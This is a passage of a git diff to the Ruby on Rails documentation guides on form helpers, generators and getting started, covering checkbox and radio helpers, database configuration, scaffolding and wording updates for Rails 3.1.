inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. h5. Checkboxes @@ -133,7 +113,7 @@ Checkboxes are form controls that give the user a set of options they can enable <%= label_tag(:pet_cat, "I own a cat") %> </erb> -output: +This generates the following: <html> <input id="pet_dog" name="pet_dog" type="checkbox" value="1" /> @@ -142,11 +122,11 @@ output: <label for="pet_cat">I own a cat</label> </html> -The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns. +The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked. h5. Radio Buttons -Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one): +Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one): <erb> <%= radio_button_tag(:age, "child") %> @@ -155,7 +135,7 @@ Radio buttons, while similar to checkboxes, are controls that specify a set of o <%= label_tag(:age_adult, "I'm over 21") %> </erb> -output: +Output: <html> <input id="age_child" name="age" type="radio" value="child" /> @@ -164,13 +144,13 @@ output: <label for="age_adult">I'm over 21</label> </html> -As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult". +As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult". -IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. +NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region. h4. Other Helpers of Interest -Other form controls worth mentioning are the text area, password input, hidden input, search input, tel input, url input and email input: +Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, URL fields and email fields: <erb> <%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> @@ -194,9 +174,11 @@ Output: <input id="user_address" size="30" name="user[address]" type="email" /> </html> -Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript. The search, tel, url and email inputs are specified in HTML5 and may receive special handling and/or formatting in some user-agents. +Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. +IMPORTANT: The search, telephone, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features. + +TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging. h3. Dealing with Model Objects @@ -360,7 +342,6 @@ output: When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). - h3. Making Select Boxes with Ease Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. @@ -815,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre * Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application * Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy * James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin - -h3. Changelog - -* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com> -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com - -h3. Authors - -* Mislav Marohnić <mislav.marohnic@gmail.com> -* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index 2fa1d6e21d..7a863ccbc7 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+: gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" </ruby> +h4. +gem_group+ + +Wraps gem entries inside a group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. +add_source+ @@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README. <ruby> readme("README") </ruby> - -h3. Changelog - -* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com -* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com - -* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn - -* April 30, 2010: Reviewed by José Valim - -* November 20, 2009: First version by José Valim diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 6aca5d3420..bf6104b96b 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -1,6 +1,7 @@ h2. Getting Started with Rails -This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: +This guide covers getting up and running with Ruby on Rails. After reading it, +you should be familiar with: * Installing Rails, creating a new Rails application, and connecting your application to a database * The general layout of a Rails application @@ -9,40 +10,68 @@ This guide covers getting up and running with Ruby on Rails. After reading it, y endprologue. -WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. +WARNING. This Guide is based on Rails 3.1. Some of the code shown here will not +work in earlier versions of Rails. h3. Guide Assumptions -This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: +This guide is designed for beginners who want to get started with a Rails +application from scratch. It does not assume that you have any prior experience +with Rails. However, to get the most out of it, you need to have some +prerequisites installed: * The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.8.7 or higher -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails +3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 +though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults +on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth +sailing. * The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system + ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1 * A working installation of the "SQLite3 Database":http://www.sqlite.org -Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are some good free resources on the internet for learning Ruby, including: +Rails is a web application framework running on the Ruby programming language. +If you have no prior experience with Ruby, you will find a very steep learning +curve diving straight into Rails. There are some good free resources on the +internet for learning Ruby, including: * "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository +in rails/railties/guides/code/getting_started. + h3. What is Rails? -Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun. +Rails is a web application development framework written in the Ruby language. +It is designed to make programming web applications easier by making assumptions +about what every developer needs to get started. It allows you to write less +code while accomplishing more than many other languages and frameworks. +Experienced Rails developers also report that it makes web application +development more fun. -Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. +Rails is opinionated software. It makes the assumption that there is a "best" +way to do things, and it's designed to encourage that way - and in some cases to +discourage alternatives. If you learn "The Rails Way" you'll probably discover a +tremendous increase in productivity. If you persist in bringing old habits from +other languages to your Rails development, and trying to use patterns you +learned elsewhere, you may have a less happy experience. The Rails philosophy includes several guiding principles: * DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than requiring you to specify every little thing through endless configuration files. -* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. +* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to +do it, rather than requiring you to specify every little thing through endless configuration files. +* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs +is the fastest way to go. h4. The MVC Architecture -At the core of Rails is the Model, View, Controller architecture, usually just called MVC. MVC benefits include: +At the core of Rails is the Model, View, Controller architecture, usually just +called MVC. MVC benefits include: * Isolation of business logic from the user interface * Ease of keeping code DRY @@ -50,19 +79,34 @@ At the core of Rails is the Model, View, Controller architecture, usually just c h5. Models -A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models. +A model represents the information (data) of the application and the rules to +manipulate that data. In the case of Rails, models are primarily used for +managing the rules of interaction with a corresponding database table. In most +cases, each table in your database will correspond to one model in your +application. The bulk of your application's business logic will be concentrated +in the models. h5. Views -Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. +Views represent the user interface of your application. In Rails, views are +often HTML files with embedded Ruby code that perform tasks related solely to +the presentation of the data. Views handle the job of providing data to the web +browser or other tool that is used to make requests from your application. h5. Controllers -Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation. +Controllers provide the "glue" between models and views. In Rails, controllers +are responsible for processing the incoming requests from the web browser, +interrogating the models for data, and passing that data on to the views for +presentation. h4. The Components of Rails -Rails ships as many individual components. +Rails ships as many individual components. Each of these components are briefly +explained below. If you are new to Rails, as you read this section, don't get +hung up on the details of each component, as they will be explained in further +detail later. For instance, we will bring up Rack applications, but you don't +need to know anything about them to continue with this guide. * Action Pack ** Action Controller @@ -75,70 +119,107 @@ Rails ships as many individual components. * Active Support * Railties - h5. Action Pack -Action Pack is a single gem that contains Action Controller, Action View and Action Dispatch. The "VC" part of "MVC". +Action Pack is a single gem that contains Action Controller, Action View and +Action Dispatch. The "VC" part of "MVC". -h5. Action Controller +h6. Action Controller -Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management. +Action Controller is the component that manages the controllers in a Rails +application. The Action Controller framework processes incoming requests to a +Rails application, extracts parameters, and dispatches them to the intended +action. Services provided by Action Controller include session management, +template rendering, and redirect management. -h5. Action View +h6. Action View -Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support. +Action View manages the views of your Rails application. It can create both HTML +and XML output by default. Action View manages rendering templates, including +nested and partial templates, and includes built-in AJAX support. View +templates are covered in more detail in another guide called "Layouts and +Rendering":layouts_and_rendering.html. -h5. Action Dispatch +h6. Action Dispatch -Action Dispatch handles routing of web requests and dispatches them as you want, either to your application or any other Rack application. +Action Dispatch handles routing of web requests and dispatches them as you want, +either to your application or any other Rack application. Rack applications are +a more advanced topic and are covered in a separate guide called "Rails on +Rack":rails_on_rack.html. h5. Action Mailer -Action Mailer is a framework for building e-mail services. You can use Action Mailer to receive and process incoming email and send simple plain text or complex multipart emails based on flexible templates. +Action Mailer is a framework for building e-mail services. You can use Action +Mailer to receive and process incoming email and send simple plain text or +complex multipart emails based on flexible templates. h5. Active Model -Active Model provides a defined interface between the Action Pack gem services and Object Relationship Mapping gems such as Active Record. Active Model allows Rails to utilize other ORM frameworks in place of Active Record if your application needs this. +Active Model provides a defined interface between the Action Pack gem services +and Object Relationship Mapping gems such as Active Record. Active Model allows +Rails to utilize other ORM frameworks in place of Active Record if your +application needs this. h5. Active Record -Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services. +Active Record is the base for the models in a Rails application. It provides +database independence, basic CRUD functionality, advanced finding capabilities, +and the ability to relate models to one another, among other services. h5. Active Resource -Active Resource provides a framework for managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. +Active Resource provides a framework for managing the connection between +business objects and RESTful web services. It implements a way to map web-based +resources to local objects with CRUD semantics. h5. Active Support -Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in Rails, both by the core code and by your applications. +Active Support is an extensive collection of utility classes and standard Ruby +library extensions that are used in Rails, both by the core code and by your +applications. h5. Railties -Railties is the core Rails code that builds new Rails applications and glues the various frameworks and plugins together in any Rails application. +Railties is the core Rails code that builds new Rails applications and glues the +various frameworks and plugins together in any Rails application. h4. REST -Rest stands for Representational State Transfer and is the foundation of the RESTful architecture. This is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While you can read through the thesis, REST in terms of Rails boils down to two main principles: +Rest stands for Representational State Transfer and is the foundation of the +RESTful architecture. This is generally considered to be Roy Fielding's doctoral +thesis, "Architectural Styles and the Design of Network-based Software +Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While +you can read through the thesis, REST in terms of Rails boils down to two main +principles: * Using resource identifiers such as URLs to represent resources. * Transferring representations of the state of that resource between system components. -For example, to a Rails application a request such as this: +For example, the following HTTP request: <tt>DELETE /photos/17</tt> -would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails hooks into this shielding you from many of the RESTful complexities and browser quirks. +would be understood to refer to a photo resource with the ID of 17, and to +indicate a desired action - deleting that resource. REST is a natural style for +the architecture of web applications, and Rails hooks into this shielding you +from many of the RESTful complexities and browser quirks. -If you'd like more details on REST as an architectural style, these resources are more approachable than Fielding's thesis: +If you'd like more details on REST as an architectural style, these resources +are more approachable than Fielding's thesis: * "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov * "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio * "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia -* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & Ian Robinson +* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis & +Ian Robinson h3. Creating a New Rails Project -If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed. +If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a +(very) simple weblog. Before you can start building the application, you need to +make sure that you have Rails itself installed. + +TIP: The examples below use # and $ to denote terminal prompts. If you are using Windows, your prompt will look something like c:\source_code> h4. Installing Rails @@ -149,13 +230,19 @@ Usually run this as the root user: # gem install rails </shell> -TIP. If you're working on Windows, you can quickly install Ruby and Rails with "Rails Installer":http://railsinstaller.org. +TIP. If you're working on Windows, you can quickly install Ruby and Rails with +"Rails Installer":http://railsinstaller.org. h4. Creating the Blog Application -The best way to use this guide is to follow each step as it happens, no code or step needed to make this example application has been left out, so you can literally follow along step by step. If you need to see the completed code, you can download it from "Getting Started Code":https://github.com/mikel/getting-started-code. +The best way to use this guide is to follow each step as it happens, no code or +step needed to make this example application has been left out, so you can +literally follow along step by step. If you need to see the completed code, you +can download it from "Getting Started +Code":https://github.com/mikel/getting-started-code. -To begin, open a terminal, navigate to a folder where you have rights to create files, and type: +To begin, open a terminal, navigate to a folder where you have rights to create +files, and type: <shell> $ rails new blog @@ -163,20 +250,27 @@ $ rails new blog This will create a Rails application called Blog in a directory called blog. -TIP: You can see all of the switches that the Rails application builder accepts by running <tt>rails new -h</tt>. +TIP: You can see all of the switches that the Rails application builder accepts +by running +<tt>rails new -h</tt>. -After you create the blog application, switch to its folder to continue work directly in that application: +After you create the blog application, switch to its folder to continue work +directly in that application: <shell> $ cd blog </shell> -In any case, Rails will create a folder in your working directory called <tt>blog</tt>. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the <tt>app/</tt> folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default: +In any case, Rails will create a folder in your working directory called +<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in +this tutorial will happen in the <tt>app/</tt> folder, but here's a basic +rundown on the function of each folder that Rails creates in a new application +by default: |_.File/Folder|_.Purpose| -|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application.| -|README|This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on.| -|Rakefile|This file contains batch jobs that can be run from the terminal.| +|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.| +|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| +|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| |app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.| |config/|Configure your application's runtime rules, routes, database, and more.| |config.ru|Rack configuration for Rack based servers used to start the application.| @@ -190,20 +284,13 @@ In any case, Rails will create a folder in your working directory called <tt>blo |tmp/|Temporary files| |vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.| -h4. Installing the Required Gems - -Rails applications manage gem dependencies with "Bundler":http://gembundler.com/v1.0/index.html by default. As we don't need any other gems beyond the ones in the generated +Gemfile+ we can directly run - -<shell> -$ bundle install -</shell> - -to have them ready. - h4. Configuring a Database -Just about every Rails application will interact with a database. The database to use is specified in a configuration file, +config/database.yml+. -If you open this file in a new Rails application, you'll see a default database configuration using SQLite3. The file contains sections for three different environments in which Rails can run by default: +Just about every Rails application will interact with a database. The database +to use is specified in a configuration file, +config/database.yml+. If you open +this file in a new Rails application, you'll see a default database +configuration using SQLite3. The file contains sections for three different +environments in which Rails can run by default: * The +development+ environment is used on your development computer as you interact manually with the application. * The +test+ environment is used to run automated tests. @@ -211,9 +298,15 @@ If you open this file in a new Rails application, you'll see a default database h5. Configuring an SQLite3 Database -Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later. +Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is +a lightweight serverless database application. While a busy production +environment may overload SQLite, it works well for development and testing. +Rails defaults to using an SQLite database when creating a new project, but you +can always change it later. -Here's the section of the default configuration file (<tt>config/database.yml</tt>) with connection information for the development environment: +Here's the section of the default configuration file +(<tt>config/database.yml</tt>) with connection information for the development +environment: <yaml> development: @@ -223,11 +316,17 @@ development: timeout: 5000 </yaml> -NOTE: In this guide we are using an SQLite3 database for data storage, because it is a zero configuration database that just works. Rails also supports MySQL and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it. +NOTE: In this guide we are using an SQLite3 database for data storage, because +it is a zero configuration database that just works. Rails also supports MySQL +and PostgreSQL "out of the box", and has plugins for many database systems. If +you are using a database in a production environment Rails most likely has an +adapter for it. h5. Configuring a MySQL Database -If you choose to use MySQL instead of the shipped SQLite3 database, your +config/database.yml+ will look a little different. Here's the development section: +If you choose to use MySQL instead of the shipped SQLite3 database, your ++config/database.yml+ will look a little different. Here's the development +section: <yaml> development: @@ -240,11 +339,14 @@ development: socket: /tmp/mysql.sock </yaml> -If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the +development+ section as appropriate. +If your development computer's MySQL installation includes a root user with an +empty password, this configuration should work for you. Otherwise, change the +username and password in the +development+ section as appropriate. h5. Configuring a PostgreSQL Database -If you choose to use PostgreSQL, your +config/database.yml+ will be customized to use PostgreSQL databases: +If you choose to use PostgreSQL, your +config/database.yml+ will be customized +to use PostgreSQL databases: <yaml> development: @@ -258,7 +360,8 @@ development: h5. Configuring an SQLite3 Database for JRuby Platform -If you choose to use SQLite3 and using JRuby, your +config/database.yml+ will look a little different. Here's the development section: +If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will +look a little different. Here's the development section: <yaml> development: @@ -268,7 +371,8 @@ development: h5. Configuring a MySQL Database for JRuby Platform -If you choose to use MySQL and using JRuby, your +config/database.yml+ will look a little different. Here's the development section: +If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look +a little different. Here's the development section: <yaml> development: @@ -280,7 +384,9 @@ development: h5. Configuring a PostgreSQL Database for JRuby Platform -Finally if you choose to use PostgreSQL and using JRuby, your +config/database.yml+ will look a little different. Here's the development section: +Finally if you choose to use PostgreSQL and are using JRuby, your ++config/database.yml+ will look a little different. Here's the development +section: <yaml> development: @@ -293,51 +399,79 @@ development: Change the username and password in the +development+ section as appropriate. -TIP: You don't have to update the database configurations manually. If you had a look at the options of application generator, you have seen that one of them is named <tt>--database</tt>. It lets you choose an adapter for couple of most used relational databases. You can even run the generator repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting of the +config/database.yml+ file, your application will be configured for MySQL instead of SQLite. +TIP: You don't have to update the database configurations manually. If you look at the +options of the application generator, you will see that one of the options +is named <tt>--database</tt>. This option allows you to choose an adapter from a +list of the most used relational databases. You can even run the generator +repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting + of the +config/database.yml+ file, your application will be configured for MySQL +instead of SQLite. h4. Creating the Database -Now that you have your database configured, it's time to have Rails create an empty database for you. You can do this by running a rake command: +Now that you have your database configured, it's time to have Rails create an +empty database for you. You can do this by running a rake command: <shell> $ rake db:create </shell> -This will create your development and test SQLite3 databases inside the <tt>db/</tt> folder. +This will create your development and test SQLite3 databases inside the +<tt>db/</tt> folder. -TIP: Rake is a general-purpose command-runner that Rails uses for many things. You can see the list of available rake commands in your application by running +rake -T+. +TIP: Rake is a general-purpose command-runner that Rails uses for many things. +You can see the list of available rake commands in your application by running ++rake -T+. h3. Hello, Rails! -One of the traditional places to start with a new language is by getting some text up on screen quickly. To do this, you need to get your Rails application server running. +One of the traditional places to start with a new language is by getting some +text up on screen quickly. To do this, you need to get your Rails application +server running. h4. Starting up the Web Server -You actually have a functional Rails application already. To see it, you need to start a web server on your development machine. You can do this by running: +You actually have a functional Rails application already. To see it, you need to +start a web server on your development machine. You can do this by running: <shell> $ rails server </shell> -This will fire up an instance of the WEBrick web server by default (Rails can also use several other web servers). To see your application in action, open a browser window and navigate to "http://localhost:3000":http://localhost:3000. You should see Rails' default information page: +This will fire up an instance of the WEBrick web server by default (Rails can +also use several other web servers). To see your application in action, open a +browser window and navigate to "http://localhost:3000":http://localhost:3000. +You should see Rails' default information page: !images/rails_welcome.png(Welcome Aboard screenshot)! -TIP: To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server. +TIP: To stop the web server, hit Ctrl+C in the terminal window where it's +running. In development mode, Rails does not generally require you to stop the +server; changes you make in files will be automatically picked up by the server. -The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. You can also click on the _About your application’s environment_ link to see a summary of your application's environment. +The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it +makes sure that you have your software configured correctly enough to serve a +page. You can also click on the _About your application’s environment_ link to +see a summary of your application's environment. h4. Say "Hello", Rails -To get Rails saying "Hello", you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal: +To get Rails saying "Hello", you need to create at minimum a controller and a +view. Fortunately, you can do that in a single command. Enter this command in +your terminal: <shell> $ rails generate controller home index </shell> -TIP: If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby \path\to\your\application\script\rails generate controller home index</tt>. +TIP: If you get a command not found error when running this command, you +need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby +\path\to\your\application\script\rails generate controller home index</tt>. -Rails will create several files for you, including +app/views/home/index.html.erb+. This is the template that will be used to display the results of the +index+ action (method) in the +home+ controller. Open this file in your text editor and edit it to contain a single line of code: +Rails will create several files for you, including ++app/views/home/index.html.erb+. This is the template that will be used to +display the results of the +index+ action (method) in the +home+ controller. +Open this file in your text editor and edit it to contain a single line of code: <code class="html"> <h1>Hello, Rails!</h1> @@ -345,17 +479,30 @@ Rails will create several files for you, including +app/views/home/index.html.er h4. Setting the Application Home Page -Now that we have made the controller and view, we need to tell Rails when we want "Hello Rails" to show up. In our case, we want it to show up when we navigate to the root URL of our site, "http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" smoke test. +Now that we have made the controller and view, we need to tell Rails when we +want "Hello Rails" to show up. In our case, we want it to show up when we +navigate to the root URL of our site, +"http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard" +smoke test. -The first step to doing this is to delete the default page from your application: +The first step to doing this is to delete the default page from your +application: <shell> $ rm public/index.html </shell> -We need to do this as Rails will deliver any static file in the +public+ directory in preference to any dynamic content we generate from the controllers. +We need to do this as Rails will deliver any static file in the +public+ +directory in preference to any dynamic content we generate from the controllers. -Now, you have to tell Rails where your actual home page is located. Open the file +config/routes.rb+ in your editor. This is your application's _routing file_ which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. This file contains many sample routes on commented lines, and one of them actually shows you how to connect the root of your site to a specific controller and action. Find the line beginning with +root :to+, uncomment it and change it like the following: +Now, you have to tell Rails where your actual home page is located. Open the +file +config/routes.rb+ in your editor. This is your application's _routing +file_ which holds entries in a special DSL (domain-specific language) that tells +Rails how to connect incoming requests to controllers and actions. This file +contains many sample routes on commented lines, and one of them actually shows +you how to connect the root of your site to a specific controller and action. +Find the line beginning with +root :to+, uncomment it and change it like the +following: <ruby> Blog::Application.routes.draw do @@ -366,27 +513,33 @@ Blog::Application.routes.draw do root :to => "home#index" </ruby> -The +root :to => "home#index"+ tells Rails to map the root action to the home controller's index action. +The +root :to => "home#index"+ tells Rails to map the root action to the home +controller's index action. -Now if you navigate to "http://localhost:3000":http://localhost:3000 in your browser, you'll see +Hello, Rails!+. +Now if you navigate to "http://localhost:3000":http://localhost:3000 in your +browser, you'll see +Hello, Rails!+. -NOTE. For more information about routing, refer to "Rails Routing from the Outside In":routing.html. +NOTE. For more information about routing, refer to "Rails Routing from the +Outside In":routing.html. h3. Getting Up and Running Quickly with Scaffolding -Rails _scaffolding_ is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job. +Rails _scaffolding_ is a quick way to generate some of the major pieces of an +application. If you want to create the models, views, and controllers for a new +resource in a single operation, scaffolding is the tool for the job. h3. Creating a Resource -In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal: +In the case of the blog application, you can start by generating a scaffolded +Post resource: this will represent a single blog posting. To do this, enter this +command in your terminal: <shell> $ rails generate scaffold Post name:string title:string content:text </shell> -NOTE. While scaffolding will get you up and running quickly, the code it generates is unlikely to be a perfect fit for your application. You'll most probably want to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch. Rails, however, makes it really simple to customize templates for generated models, controllers, views and other source files. You'll find more information in the "Creating and Customizing Rails Generators & Templates":generators.html guide. - -The scaffold generator will build 15 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates: +The scaffold generator will build several files in your application, along with some +folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates: |_.File |_.Purpose| |db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)| @@ -399,17 +552,34 @@ The scaffold generator will build 15 files in your application, along with some |app/views/posts/new.html.erb |A view to create a new post| |app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views| |app/helpers/posts_helper.rb |Helper functions to be used from the post views| -|app/assets/stylesheets/scaffold.css.scss |Cascading style sheet to make the scaffolded views look better| +|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better| +|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller| +|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller| |test/unit/post_test.rb |Unit testing harness for the posts model| |test/functional/posts_controller_test.rb |Functional testing harness for the posts controller| |test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper| |config/routes.rb |Edited to include routing information for posts| +NOTE. While scaffolding will get you up and running quickly, the code it +generates is unlikely to be a perfect fit for your application. You'll most +probably want to customize the generated code. Many experienced Rails developers +avoid scaffolding entirely, preferring to write all or most of their source code +from scratch. Rails, 